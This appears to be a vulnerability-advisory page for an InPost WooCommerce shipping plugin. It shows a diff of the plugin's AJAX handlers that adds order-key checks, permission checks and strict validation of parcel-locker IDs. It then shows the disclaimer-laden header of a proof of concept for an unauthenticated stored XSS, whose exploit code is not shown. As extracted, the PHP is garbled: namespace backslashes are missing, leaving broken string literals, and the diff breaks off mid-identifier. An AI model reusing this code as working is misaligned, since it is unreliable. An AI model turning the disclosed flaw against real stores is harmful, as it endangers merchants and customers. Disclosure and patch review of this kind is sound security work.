-							/* translators: %s: pick-up point ID */
-							__( 'Pick-up point %s was selected by the customer on the order confirmation page.', 'inpost-for-woocommerce' ),
-							$new_locker
-						)
-						: sprintf(
-							/* translators: 1: previous pick-up point ID, 2: new pick-up point ID */
-							__( 'Pick-up point was changed by the customer on the order confirmation page from %1$s to %2$s.', 'inpost-for-woocommerce' ),
-							$previous_locker,
-							$new_locker
-						)
-				);
-			}
-
-			$order->save();
-			wp_send_json_success( 'locker_updated' );
-		}
-
-		/**
-		 * Whether the order ships with an InPost parcel-locker method (directly or linked via Flexible Shipping).
-		 *
-		 * Same rule as EasyPack::possibility_setup_missed_locker_on_typ(), which decides when the
-		 * thank-you page offers point selection.
-		 *
-		 * @param WC_Order $order Order.
-		 * @return bool
-		 */
-		private static function order_uses_locker_shipping( $order ): bool {
-			foreach ( $order->get_shipping_methods() as $shipping_method ) {
-				$method_id = (string) $shipping_method->get_method_id();
-				$fs_method = (string) EasyPack_Helper()->get_method_linked_to_fs_by_instance_id( $shipping_method->get_instance_id() );
-
-				if ( 0 === strpos( $method_id, 'easypack_parcel_machines' ) || 0 === strpos( $fs_method, 'easypack_parcel_machines' ) ) {
-					return true;
-				}
-			}
-
-			return false;
-		}
-
-
-		/**
-		 * Saves selected InPost parcel locker code to order metadata via AJAX.
-		 *
-		 * Validates nonce and user permissions before processing. Retrieves parcel locker
-		 * code and order ID from POST data, sanitizes inputs, and updates order metadata.
-		 * Sends JSON success response on successful save, error response otherwise.
-		 *
-		 * @return void Outputs JSON response and terminates execution. Returns early if validation fails or required data is missing.
-		 */
-		public static function save_order_metabox_paczkomat() {
-
-			check_ajax_referer( 'easypack_nonce', 'security' );
-
-			$can_update_services = is_admin() && ( current_user_can( 'manage_woocommerce' ) || current_user_can( 'manage_options' ) );
-
-			if ( ! $can_update_services ) {
-				wp_send_json_error();
-			}
-
-			if ( empty( $_POST['point_code'] ) || empty( $_POST['order_id'] ) ) {
-				return;
-			}
-
-			$order_id = sanitize_text_field( wp_unslash( $_POST['order_id'] ) );
-
-			$order = wc_get_order( $order_id );
-
-			if ( ! $order || is_wp_error( $order ) ) {
-				return;
-			}
-
-			$paczkomat_id = sanitize_text_field( wp_unslash( $_POST['point_code'] ) );
-
-			if ( ! empty( $paczkomat_id ) ) {
-				$order->update_meta_data( '_parcel_machine_id', $paczkomat_id );
-				$order->save();
-				wp_send_json_success( 'point locker code saved' );
-			}
-
-			wp_send_json_error();
-		}
-
-		/**
-		 * Whether the current user may run admin-only InPost AJAX (orders, shipments, labels).
-		 *
-		 * Not used for nopriv handlers (e.g. update_locker_from_typ_page, save_to_wc_session).
-		 *
-		 * @return bool
-		 */
-		private static function user_can_manage_inpost_admin_actions(): bool {
-			return current_user_can( 'manage_woocommerce' )
-				|| current_user_can( 'edit_shop_orders' )
-				|| current_user_can( 'manage_options' );
-		}
-	}
-
-endif;
-
+<?php
+/**
+ * EasyPack AJAX
+ */
+
+namespace InspireLabsWoocommerceInpost;
+
+use Exception;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_C2C;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_C2C_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Express;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Express_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Standard;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Local_Standard_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_LSE;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_LSE_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Palette;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_Courier_Palette_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Method_EsmartMix;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Economy_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Weekend_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shippng_Parcel_Machines;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shippng_Parcel_Machines_COD;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Weekend;
+use InspireLabsWoocommerceInpostshippingEasyPack_Shipping_Parcel_Machines_Economy;
+
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+if ( ! class_exists( 'EasyPack_AJAX' ) ) :
+
+	/**
+	 * EasyPack AJAX actions
+	 */
+	class EasyPack_AJAX {
+
+		/**
+		 * Ajax handler
+		 */
+		public static function init() {
+			add_action( 'wp_ajax_easypack', array( __CLASS__, 'ajax_easypack' ) );
+			add_action( 'admin_head', array( __CLASS__, 'wp_footer_easypack_nonce' ) );
+			add_action( 'wp_ajax_inpost_save_to_wc_session', array( __CLASS__, 'save_to_wc_session' ) );
+			add_action( 'wp_ajax_nopriv_inpost_save_to_wc_session', array( __CLASS__, 'save_to_wc_session' ) );
+			add_action( 'wp_ajax_posting_confirmation_request', array( __CLASS__, 'posting_confirmation_request_callback' ) );
+			add_action( 'wp_ajax_update_locker_from_typ_page', array( __CLASS__, 'update_locker_from_typ_page_callback' ) );
+			add_action( 'wp_ajax_nopriv_update_locker_from_typ_page', array( __CLASS__, 'update_locker_from_typ_page_callback' ) );
+		}
+
+		/**
+		 * Add nonce value
+		 *
+		 * @return void
+		 */
+		public static function wp_footer_easypack_nonce(): void {
+			?>
+			<script type="text/javascript">
+				var easypack_nonce = '<?php echo esc_attr( wp_create_nonce( 'easypack_nonce' ) ); ?>';
+			</script>
+			<?php
+		}
+
+		/**
+		 * Sort ajax actions callbacks
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function ajax_easypack(): void {
+			check_ajax_referer( 'easypack_nonce', 'security' );
+
+			if ( ! self::user_can_manage_inpost_admin_actions() ) {
+				wp_send_json_error( 'forbidden', 403 );
+			}
+
+			if ( isset( $_POST['easypack_action'] ) ) {
+				$action = sanitize_text_field( wp_unslash( $_POST['easypack_action'] ) );
+
+				if ( 'create_additional_package' === $action ) {
+					self::create_additional_package();
+				}
+
+				if ( 'change_first_package' === $action ) {
+					self::change_first_package();
+				}
+
+				if ( 'inpost_pl_metabox_paczkomat' === $action ) {
+					self::save_order_metabox_paczkomat();
+				}
+
+				if ( 'dispatch_point' === $action ) {
+					self::dispatch_point();
+				}
+				if ( 'parcel_machines_create_package' === $action ) {
+					self::parcel_machines_create_package();
+				}
+				if ( 'parcel_machines_weekend_create_package' === $action ) {
+					self::parcel_machines_weekend_create_package();
+				}
+				if ( 'parcel_machines_weekend_create_package_cod' === $action ) {
+					self::parcel_machines_weekend_create_package_cod();
+				}
+				if ( 'parcel_machines_cancel_package' === $action ) {
+					self::parcel_machines_cancel_package();
+				}
+				if ( 'courier_c2c_create_package_cod' === $action ) {
+					self::courier_c2c_create_package_cod();
+				}
+				if ( 'parcel_machines_economy' === $action ) {
+					self::parcel_machines_economy_create_package();
+				}
+				if ( 'parcel_machines_economy_cod' === $action ) {
+					self::parcel_machines_economy_cod_create_package();
+				}
+				if ( 'parcel_machines_cod_create_package' === $action ) {
+					self::parcel_machines_cod_create_package();
+				}
+				if ( 'esmartmix_create_package' === $action ) {
+					self::esmartmix_create_package();
+				}
+				if ( 'courier_create_package' === $action ) {
+					self::courier_create_package();
+				}
+				if ( 'courier_c2c_create_package' === $action ) {
+					self::courier_c2c_create_package();
+				}
+				if ( 'courier_lse_create_package' === $action ) {
+					self::courier_lse_create_package();
+				}
+				if ( 'courier_lse_create_package_cod' === $action ) {
+					self::courier_lse_create_package_cod();
+				}
+				if ( 'courier_local_standard_create_package' === $action ) {
+					self::courier_local_standard_create_package();
+				}
+				if ( 'courier_local_standard_cod_create_package' === $action ) {
+					self::courier_local_standard_cod_create_package();
+				}
+				if ( 'courier_local_express_create_package' === $action ) {
+					self::courier_local_express_create_package();
+				}
+				if ( 'courier_local_express_cod_create_package' === $action ) {
+					self::courier_local_express_cod_create_package();
+				}
+				if ( 'courier_palette_create_package' === $action ) {
+					self::courier_palette_create_package();
+				}
+				if ( 'courier_palette_cod_create_package' === $action ) {
+					self::courier_palette_cod_create_package();
+				}
+				if ( 'courier_cod_create_package' === $action ) {
+					self::courier_cod_create_package();
+				}
+				if ( 'parcel_machines_cod_cancel_package' === $action ) {
+					self::parcel_machines_cod_cancel_package();
+				}
+
+				if ( 'easypack_create_bulk_labels' === $action ) {
+
+					if ( isset( $_POST['order_ids'] ) ) {
+
+						$helper = EasyPack_Helper::EasyPack_Helper();
+
+						$data_string   = sanitize_text_field( wp_unslash( $_POST['order_ids'] ) );
+						$order_ids_arr = json_decode( stripslashes( $data_string ), true );
+						$validated_ids = array();
+
+						if ( is_array( $order_ids_arr ) ) {
+							$validated_ids = $helper->validate_order_ids_before_get_labels_from_api( $order_ids_arr );
+						}
+
+						if ( ! empty( $validated_ids ) ) {
+							// this function echo pdf or zip string.
+							$helper->print_stickers( false, $validated_ids );
+							die;
+
+						} else {
+							echo wp_json_encode(
+								array(
+									'details' => esc_html__( 'Check your selection.', 'inpost-for-woocommerce' ),
+								)
+							);
+							die;
+						}
+					}
+
+					echo wp_json_encode( array( 'details' => esc_html__( 'There are some validation errors.', 'inpost-for-woocommerce' ) ) );
+					die;
+				}
+
+				if ( 'easypack_create_additional_label' === $action ) {
+
+					if ( isset( $_POST['inpost_id'] ) ) {
+						$inpost_id = sanitize_text_field( wp_unslash( $_POST['inpost_id'] ) );
+						if ( ! empty( $inpost_id ) ) {
+							// this function echo pdf or zip string.
+							EasyPack_Helper::EasyPack_Helper()->print_sticker_by_inpost_id( $inpost_id );
+							die;
+						} else {
+							echo wp_json_encode( array( 'details' => esc_html__( 'Check your selection.', 'inpost-for-woocommerce' ) ) );
+							die;
+						}
+					}
+
+					echo wp_json_encode( array( 'details' => esc_html__( 'There are some validation errors.', 'inpost-for-woocommerce' ) ) );
+					die;
+				}
+			}
+		}
+
+		/**
+		 * Dispatch point
+		 *
+		 * @return void
+		 */
+		public static function dispatch_point() {
+
+			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified in ajax_easypack() before this callback.
+			$dispatch_point_name = isset( $_POST['dispatch_point_name'] )
+					? sanitize_text_field( wp_unslash( $_POST['dispatch_point_name'] ) )
+					: '';
+			// phpcs:enable WordPress.Security.NonceVerification.Missing
+
+			if ( ! empty( $dispatch_point_name ) ) {
+				try {
+					$dispatch_point = EasyPack_API()->dispatch_point( $dispatch_point_name );
+					echo wp_json_encode( $dispatch_point );
+				} catch ( Exception $e ) {
+					echo 0;
+				}
+			}
+			wp_die();
+		}
+
+		/**
+		 * Parcel machines create package
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function parcel_machines_create_package() {
+			EasyPack_Shippng_Parcel_Machines::ajax_create_package();
+		}
+
+		/**
+		 * Parcel machines cancel package
+		 *
+		 * @return void
+		 */
+		public static function parcel_machines_cancel_package() {
+			EasyPack_Shippng_Parcel_Machines::ajax_cancel_package();
+		}
+
+		/**
+		 * Parcel machines COD create package
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function parcel_machines_cod_create_package() {
+			EasyPack_Shippng_Parcel_Machines_COD::ajax_create_package();
+		}
+
+		/**
+		 * Parcel machines weekend create package
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function parcel_machines_weekend_create_package() {
+			EasyPack_Shipping_Parcel_Machines_Weekend::ajax_create_package();
+		}
+
+		/**
+		 * Parcel machines weekend COD create package
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function parcel_machines_weekend_create_package_cod() {
+			EasyPack_Shipping_Parcel_Machines_Weekend_COD::ajax_create_package();
+		}
+
+		/**
+		 * Parcel machines economy create package
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function parcel_machines_economy_create_package() {
+			EasyPack_Shipping_Parcel_Machines_Economy::ajax_create_package();
+		}
+
+		/**
+		 * Parcel machines economy COD create package
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function parcel_machines_economy_cod_create_package() {
+			EasyPack_Shipping_Parcel_Machines_Economy_COD::ajax_create_package();
+		}
+
+		/**
+		 * Courier create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_create_package() {
+			EasyPack_Shipping_Method_Courier::ajax_create_package();
+		}
+
+		/**
+		 * Esmartmix create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function esmartmix_create_package() {
+			EasyPack_Shipping_Method_EsmartMix::ajax_create_package();
+		}
+
+		/**
+		 * Courier C2C create package COD
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_c2c_create_package_cod() {
+			EasyPack_Shipping_Method_Courier_C2C_COD::ajax_create_package();
+		}
+
+		/**
+		 * Courier C2C create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_c2c_create_package() {
+			EasyPack_Shipping_Method_Courier_C2C::ajax_create_package();
+		}
+
+		/**
+		 * Courier LSE create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_lse_create_package() {
+			EasyPack_Shipping_Method_Courier_LSE::ajax_create_package();
+		}
+
+		/**
+		 * Courier LSE create package COD
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_lse_create_package_cod() {
+			EasyPack_Shipping_Method_Courier_LSE_COD::ajax_create_package();
+		}
+
+		/**
+		 * Courier local standard create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_local_standard_create_package() {
+			EasyPack_Shipping_Method_Courier_Local_Standard::ajax_create_package();
+		}
+
+		/**
+		 * Courier local standard COD create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_local_standard_cod_create_package() {
+			EasyPack_Shipping_Method_Courier_Local_Standard_COD::ajax_create_package();
+		}
+
+		/**
+		 * Courier local express create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_local_express_create_package() {
+			EasyPack_Shipping_Method_Courier_Local_Express::ajax_create_package();
+		}
+
+		/**
+		 * Courier local express COD create package
+		 *
+		 * @return void
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_local_express_cod_create_package() {
+			EasyPack_Shipping_Method_Courier_Local_Express_COD::ajax_create_package();
+		}
+
+		/**
+		 * Courier palette create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_palette_create_package() {
+			EasyPack_Shipping_Method_Courier_Palette::ajax_create_package();
+		}
+
+		/**
+		 * Courier palette COD create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_palette_cod_create_package() {
+			EasyPack_Shipping_Method_Courier_Palette_COD::ajax_create_package();
+		}
+
+		/**
+		 * Courier COD create package
+		 *
+		 * @throws ReflectionException ReflectionException.
+		 */
+		public static function courier_cod_create_package() {
+			EasyPack_Shipping_Method_Courier_COD::ajax_create_package();
+		}
+
+		/**
+		 * Parcel machines COD cancel package
+		 *
+		 * @return void
+		 */
+		public static function parcel_machines_cod_cancel_package() {
+			EasyPack_Shippng_Parcel_Machines_COD::ajax_cancel_package();
+		}
+
+
+		/**
+		 * Create additional package
+		 *
+		 * @return void
+		 */
+		public static function create_additional_package() {
+
+			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified in ajax_easypack() before this callback.
+			$shipping_method = isset( $_POST['easypack_additional_package_method_id'] )
+					? sanitize_text_field( wp_unslash( $_POST['easypack_additional_package_method_id'] ) )
+					: '';
+			$order_id        = isset( $_POST['order_id'] )
+					? sanitize_text_field( wp_unslash( $_POST['order_id'] ) )
+					: '';
+			// phpcs:enable WordPress.Security.NonceVerification.Missing
+
+			if ( empty( $shipping_method ) || empty( $order_id ) ) {
+				$return_content = array(
+					'status'  => 'bad',
+					'message' => esc_html__( 'Empty shipping method or order_id', 'inpost-for-woocommerce' ),
+				);
+				echo wp_json_encode( $return_content );
+				wp_die();
+			}
+
+			try {
+
+				$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $shipping_method );
+
+				if ( empty( $shipping_method_class_name ) ) {
+					$inpost_method_name         = EasyPack_Helper()->get_method_linked_to_fs_by_instance_id( $shipping_method );
+					$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $inpost_method_name );
+				}
+
+				if ( empty( $shipping_method_class_name ) ) {
+					$return_content = array(
+						'status'  => 'bad',
+						'message' => esc_html__( 'Shipping method not found', 'inpost-for-woocommerce' ),
+					);
+					echo wp_json_encode( $return_content );
+					wp_die();
+				}
+
+				$class_with_namespace = 'InspireLabsWoocommerceInpostshipping\' . $shipping_method_class_name;
+
+				if ( class_exists( $class_with_namespace ) ) {
+					$class_instance = new $class_with_namespace();
+
+					$ret['content'] = $class_instance::order_metabox_content( get_post( $order_id ), false, null, true );
+					$ret['status']  = 'ok';
+
+					echo wp_json_encode( $ret );
+					wp_die();
+
+				} else {
+					$return_content = array(
+						'status'  => 'bad',
+						'message' => esc_html__( 'Error occured', 'inpost-for-woocommerce' ),
+					);
+					echo wp_json_encode( $return_content );
+					wp_die();
+				}
+			} catch ( Exception $e ) {
+				echo 0;
+			}
+			wp_die();
+		}
+
+
+		/**
+		 * Change metabox output for order metabox
+		 *
+		 * @return void
+		 */
+		public static function change_first_package() {
+
+			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified in ajax_easypack() before this callback.
+			$shipping_method_instance_id = isset( $_POST['easypack_change_first_shipment_method_id'] ) ? sanitize_text_field( wp_unslash( $_POST['easypack_change_first_shipment_method_id'] ) ) : '';
+			$order_id                    = isset( $_POST['order_id'] ) ? sanitize_text_field( wp_unslash( $_POST['order_id'] ) ) : '';
+			// phpcs:enable WordPress.Security.NonceVerification.Missing
+
+			if ( empty( $shipping_method_instance_id ) || empty( $order_id ) ) {
+				$return_content = array(
+					'status'  => 'bad',
+					'message' => esc_html__( 'Empty order_id or selected InPost method', 'inpost-for-woocommerce' ),
+				);
+				echo wp_json_encode( $return_content );
+				wp_die();
+			}
+
+			try {
+
+				$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $shipping_method_instance_id );
+
+				$inpost_method_name = null;
+
+				if ( empty( $shipping_method_class_name ) ) {
+					$inpost_method_name         = EasyPack_Helper()->get_method_linked_to_fs_by_instance_id( $shipping_method_instance_id );
+					$shipping_method_class_name = EasyPack_Helper()->get_class_name_by_shipping_id( $inpost_method_name );
+				}
+
+				if ( empty( $shipping_method_class_name ) ) {
+					$return_content = array(
+						'status'  => 'bad',
+						'message' => esc_html__( 'Shipping method not found', 'inpost-for-woocommerce' ),
+					);
+					echo wp_json_encode( $return_content );
+					wp_die();
+				}
+
+				$class_with_namespace = 'InspireLabsWoocommerceInpostshipping\' . $shipping_method_class_name;
+
+				if ( class_exists( $class_with_namespace ) ) {
+					$class_instance = new $class_with_namespace();
+
+					$ret['content'] = $class_instance::order_metabox_content( get_post( $order_id ), false, null );
+					$ret['status']  = 'ok';
+
+					if ( is_numeric( $shipping_method_instance_id ) ) {
+						if ( class_exists( 'WC_Shipping_Zones' ) ) {
+							$shipping_method = WC_Shipping_Zones::get_shipping_method( $shipping_method_instance_id );
+							// Get the shipping method ID from the instance object.
+							if ( $shipping_method ) {
+								$shipping_method_id = $shipping_method->id;
+								$order              = wc_get_order( $order_id );
+								if ( $order ) {
+									$order->update_meta_data( '_inpost_pl_metabox_shipping_method_instance_id', $shipping_method_instance_id );
+									$order->update_meta_data( '_inpost_pl_metabox_shipping_method', $shipping_method_id );
+									$order->save();
+								}
+							}
+						}
+					}
+
+					echo wp_json_encode( $ret );
+					wp_die();
+
+				} else {
+					$return_content = array(
+						'status'  => 'bad',
+						'message' => esc_html__( 'Error occured', 'inpost-for-woocommerce' ),
+					);
+					echo wp_json_encode( $return_content );
+					wp_die();
+				}
+			} catch ( Exception $e ) {
+				echo 0;
+			}
+			wp_die();
+		}
+
+
+
+		/**
+		 * Ajax handler to save paczkomat number into WC session
+		 */
+		public static function save_to_wc_session(): void {
+			self::save_point_to_wc_session();
+		}
+
+
+		/**
+		 * Save paczkomat point number into WC session
+		 *
+		 * @return void
+		 */
+		public static function save_point_to_wc_session() {
+
+			check_ajax_referer( 'easypack_nonce', 'security' );
+
+			if ( ! empty( $_POST['key'] ) && 'inpost_pl_wc_paczkomat' === $_POST['key'] ) {
+
+				$key   = sanitize_text_field( wp_unslash( $_POST['key'] ) );
+				$value = isset( $_POST['value'] ) ? EasyPack_Helper()->normalize_locker_id( wp_unslash( $_POST['value'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Strictly validated by normalize_locker_id().
+
+				if ( is_object( WC() ) && property_exists( WC(), 'session' ) ) {
+					WC()->session->set( $key, $value );
+					wp_send_json_success( 'Data saved to session' );
+
+				} else {
+					wp_send_json_error( 'WC session not available' );
+
+				}
+			}
+
+			wp_die();
+		}
+
+
+		/**
+		 * AJAX callback to handle posting confirmation request for multiple shipments.
+		 *
+		 * Validates nonce and sanitizes order IDs, retrieves InPost shipment IDs
+		 * for each order, and generates posting confirmation PDF for the
+		 * collected shipment identifiers.
+		 *
+		 * @return void Outputs PDF or handles errors.
+		 */
+		public static function posting_confirmation_request_callback(): void {
+
+			check_ajax_referer( 'easypack-shipment-manager', 'nonce' );
+
+			if ( ! self::user_can_manage_inpost_admin_actions() ) {
+				wp_die( esc_html__( 'Sorry, you are not allowed to do that.', 'inpost-for-woocommerce' ), 403 );
+			}
+
+			$orders = isset( $_POST['parcels'] )
+				? array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['parcels'] ) )
+				: array();
+
+			if ( empty( $orders ) ) {
+				return;
+			}
+
+			$shipment_service = EasyPack()->get_shipment_service();
+			$shipment_ids     = array();
+
+			foreach ( $orders as $order ) {
+				$inpost_internal_data = $shipment_service->get_shipment_by_order_id( (int) $order );
+
+				if ( $inpost_internal_data && is_object( $inpost_internal_data ) ) {
+					$shipment_ids[] = $inpost_internal_data->getInternalData()->getInpostId();
+				}
+			}
+
+			EasyPack_Helper()->post_confirmation_pdf( $shipment_ids );
+		}
+
+
+
+		/**
+		 * AJAX callback to update locker selection from TYP page.
+		 *
+		 * Validates nonce and input data, retrieves order object, updates
+		 * parcel machine ID and description metadata, saves changes,
+		 * and returns JSON success or error response.
+		 *
+		 * @return void Outputs JSON response and exits.
+		 */
+		public static function update_locker_from_typ_page_callback() {
+
+			check_ajax_referer( 'easypack_nonce', 'security' );
+
+			if ( empty( $_POST['inpost_pl_locker'] ) || empty( $_POST['order_id'] ) || empty( $_POST['order_key'] ) ) {
+				wp_send_json_error( 'missing_params' );
+			}
+
+			$order_id  = (int) sanitize_text_field( wp_unslash( $_POST['order_id'] ) );
+			$order_key = sanitize_text_field( wp_unslash( $_POST['order_key'] ) );
+			$order     = wc_get_order( $order_id );
+
+			if ( ! $order || is_wp_error( $order ) ) {
+				wp_send_json_error( 'invalid_order' );
+			}
+
+			if ( ! hash_equals( (string) $order->get_order_key(), (string) $order_key ) ) {
+				wp_send_json_error( 'forbidden' );
+			}
+
+			if ( ! in_array( $order->get_status(), array( 'pending', 'processing', 'on-hold' ), true ) ) {
+				wp_send_json_error( 'order_finalised' );
+			}
+
+			// Only parcel-locker orders can get a point (e.g. not courier orders).
+			if ( ! self::order_uses_locker_shipping( $order ) ) {
+				wp_send_json_error( 'not_locker_order' );
+			}
+
+			// Once the shipment exists, the point is on the label - changing it here would desync order and parcel.
+			if ( ! empty( $order->get_meta( '_shipx_shipment_object' ) ) || '' !== (string) $order->get_meta( '_easypack_parcel_tracking' ) ) {
+				wp_send_json_error( 'shipment_created' );
+			}
+
+			// InPost point IDs: letters, digits, "-" and "_" (e.g. KRA010, WAW22M, POP-KRA123).
+			// Validate the raw value: sanitizing first would turn e.g. "<b>X</b>Y" into a valid-looking "XY".
+			$raw_locker = wp_unslash( $_POST['inpost_pl_locker'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Strictly validated by the regex below.
+			if ( ! is_string( $raw_locker ) || ! preg_match( '/^[A-Za-z0-9][A-Za-z0-9_-]{1,31}$/', $raw_locker ) ) {
+				wp_send_json_error( 'invalid_locker' );
+			}
+
+			$new_locker  = $raw_locker;
+			$locker_desc = ! empty( $_POST['inpost_pl_locker_desc'] )
+				? sanitize_text_field( wp_unslash( $_POST['inpost_pl_locker_desc'] ) )
+				: '';
+			$locker_desc = function_exists( 'mb_substr' ) ? mb_substr( $locker_desc, 0, 255 ) : substr( $locker_desc, 0, 255 );
+
+			$previous_locker = (string) $order->get_meta( '_parcel_machine_id' );
+
+			$order->update_meta_data( '_parcel_machine_id', $new_locker );
+			if ( '' !== $locker_desc ) {
+				$order->update_meta_data( '_parcel_machine_desc', $locker_desc );
+			}
+
+			// Audit trail for the merchant: the point was chosen (or changed) outside checkout.
+			if ( $previous_locker !== $new_locker ) {
+				$order->add_order_note(
+					'' === $previous_locker
+						? sprintf(
+							/* translators: %s: pick-up point ID */
+							esc_html__( 'Pick-up point %s was selected by the customer on the order confirmation page.', 'inpost-for-woocommerce' ),
+							esc_html( $new_locker )
+						)
+						: sprintf(
+							/* translators: 1: previous pick-up point ID, 2: new pick-up point ID */
+							esc_html__( 'Pick-up point was changed by the customer on the order confirmation page from %1$s to %2$s.', 'inpost-for-woocommerce' ),
+							esc_html( $previous_locker ),
+							esc_html( $new_locker )
+						)
+				);
+			}
+
+			$order->save();
+			wp_send_json_success( 'locker_updated' );
+		}
+
+		/**
+		 * Whether the order ships with an InPost parcel-locker method (directly or linked via Flexible Shipping).
+		 *
+		 * Same rule as EasyPack::possibility_setup_missed_locker_on_typ(), which decides when the
+		 * thank-you page offers point selection.
+		 *
+		 * @param WC_Order $order Order.
+		 * @return bool
+		 */
+		private static function order_uses_locker_shipping( $order ): bool {
+			foreach ( $order->get_shipping_methods() as $shipping_method ) {
+				$method_id = (string) $shipping_method->get_method_id();
+				$fs_method = (string) EasyPack_Helper()->get_method_linked_to_fs_by_instance_id( $shipping_method->get_instance_id() );
+
+				if ( 0 === strpos( $method_id, 'easypack_parcel_machines' ) || 0 === strpos( $fs_method, 'easypack_parcel_machines' ) ) {
+					return true;
+				}
+			}
+
+			return false;
+		}
+
+
+		/**
+		 * Saves selected InPost parcel locker code to order metadata via AJAX.
+		 *
+		 * Validates nonce and user permissions before processing. Retrieves parcel locker
+		 * code and order ID from POST data, sanitizes inputs, and updates order metadata.
+		 * Sends JSON success response on successful save, error response otherwise.
+		 *
+		 * @return void Outputs JSON response and terminates execution. Returns early if validation fails or required data is missing.
+		 */
+		public static function save_order_metabox_paczkomat() {
+
+			check_ajax_referer( 'easypack_nonce', 'security' );
+
+			$can_update_services = is_admin() && ( current_user_can( 'manage_woocommerce' ) || current_user_can( 'manage_options' ) );
+
+			if ( ! $can_update_services ) {
+				wp_send_json_error();
+			}
+
+			if ( empty( $_POST['point_code'] ) || empty( $_POST['order_id'] ) ) {
+				return;
+			}
+
+			$order_id = sanitize_text_field( wp_unslash( $_POST['order_id'] ) );
+
+			$order = wc_get_order( $order_id );
+
+			if ( ! $order || is_wp_error( $order ) ) {
+				return;
+			}
+
+			$paczkomat_id = EasyPack_Helper()->normalize_locker_id( wp_unslash( $_POST['point_code'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Strictly validated by normalize_locker_id().
+
+			if ( ! empty( $paczkomat_id ) ) {
+				$order->update_meta_data( '_parcel_machine_id', $paczkomat_id );
+				$order->save();
+				wp_send_json_success( 'point locker code saved' );
+			}
+
+			wp_send_json_error();
+		}
+
+		/**
+		 * Whether the current user may run admin-only InPost AJAX (orders, shipments, labels).
+		 *
+		 * Not used for nopriv handlers (e.g. update_locker_from_typ_page, save_to_wc_session).
+		 *
+		 * @return bool
+		 */
+		private static function user_can_manage_inpost_admin_ac

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-142509 - InPost PL <= 2.0.1 - Unauthenticated Stored XSS via 'inpost-parcel-locker-id' Parameter

